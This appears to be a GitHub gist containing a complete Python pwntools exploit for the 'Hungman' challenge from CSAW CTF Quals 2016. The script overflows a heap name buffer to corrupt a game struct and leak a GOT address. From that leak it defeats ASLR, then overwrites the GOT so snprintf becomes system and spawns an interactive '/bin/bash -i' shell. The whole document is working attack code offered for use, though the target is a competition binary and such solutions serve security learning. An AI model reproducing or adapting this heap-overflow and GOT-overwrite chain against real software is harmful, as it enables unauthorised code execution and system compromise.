Skip to content

Instantly share code, notes, and snippets.

@C0deH4cker
Created July 31, 2019 02:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save C0deH4cker/ab179f7f97c994d26e661e4e618b12fe to your computer and use it in GitHub Desktop.
Save C0deH4cker/ab179f7f97c994d26e661e4e618b12fe to your computer and use it in GitHub Desktop.
Exploit for [PWN 300] Hungman from CSAW CTF Quals 2016
#!/usr/bin/env python
from pwn import *
import sys
debug_server = False
use_system_libc = True
r = remote("pwn.chal.csaw.io", 8003); use_system_libc = False
# r = process("./hungman")
# r = process("./linux_serverx64"); debug_server = True
# Load libc
if use_system_libc:
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
libc = ELF("./libc-2.23.so")
# Load program
exe = ELF("./hungman")
got_funcs = [
# "free",
# "puts",
# "write",
# "__stack_chk_fail",
# "strchr",
# "printf",
"snprintf",
"memset",
"close",
"read",
"__libc_start_main",
"__gmon_start__",
"memcpy",
"malloc",
"setvbuf",
"open",
"__isoc99_scanf",
"exit"
]
got_start = exe.got[got_funcs[0]]
g_highscore_message = 0x602100
def recvline(r):
line = r.recvline()
print("recvline(%r)" % line.rstrip())
return line
def sendline(r, line):
print("sendline(%r)" % line)
return r.sendline(line)
def get_highscore(r, charset="abcdefghijklmnopqrstuvwxyzX"):
log.info("Playing hangman")
# Get an initial high score
for c in charset:
data = r.recv()
print("recv(%r)" % data)
if "High score! change name?" in data:
break
sendline(r, c)
# Allow the debugger to attach
if debug_server:
print(r.recvuntil("What's your name"))
else:
raw_input("Press enter to start...")
# Give initial name
recvline(r) # What's your name?
name = "A"*0x80 # +1 for \0
sendline(r, name)
recvline(r) # Welcome, name
# Get high score to change name
get_highscore(r, charset="abXXXXXXX")
# Change name to be longer
sendline(r, 'y')
# Build new struct hangman_game
name += "B"*0x10 #filler heap space before struct
name += "HACK" #score
name += p32(8) #name_size
name += p64(exe.got["snprintf"]) #name
# Send new name
sendline(r, name)
# Read leaked snprintf addr
data = r.recv()
print("recv(%r)" % data)
snprintf_addr_str = data[len("Highest player: "):]
snprintf_addr_str = snprintf_addr_str[:snprintf_addr_str.find(" score")]
snprintf_addr_str += "\0" * (8-len(snprintf_addr_str))
print("snprintf_addr_str: %r" % snprintf_addr_str)
snprintf = u64(snprintf_addr_str)
log.info("Leaked address of snprintf: 0x%08x" % snprintf)
# Calculate ASLR slide
aslr = snprintf - libc.symbols["snprintf"]
# Continue?
sendline(r, 'y')
# Play again
get_highscore(r)
# Change name so got[snprintf] = system
sendline(r, 'y')
# Replace snprintf with system
name = p64(libc.symbols["system"] + aslr)
# Make sure other got entries are the same
for sym in got_funcs[1:]:
addr = libc.symbols[sym] + aslr if sym in libc.symbols else 0
name += p64(addr)
# Write zeros until we get to g_highscore_message
pos = got_start + 8 * len(got_funcs)
name += (g_highscore_message - pos) * "\0"
# Write command to pass to system
name += "/bin/bash -i\0"
# Send new name to trigger exploit
sendline(r, name)
# Get that shell, y0
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment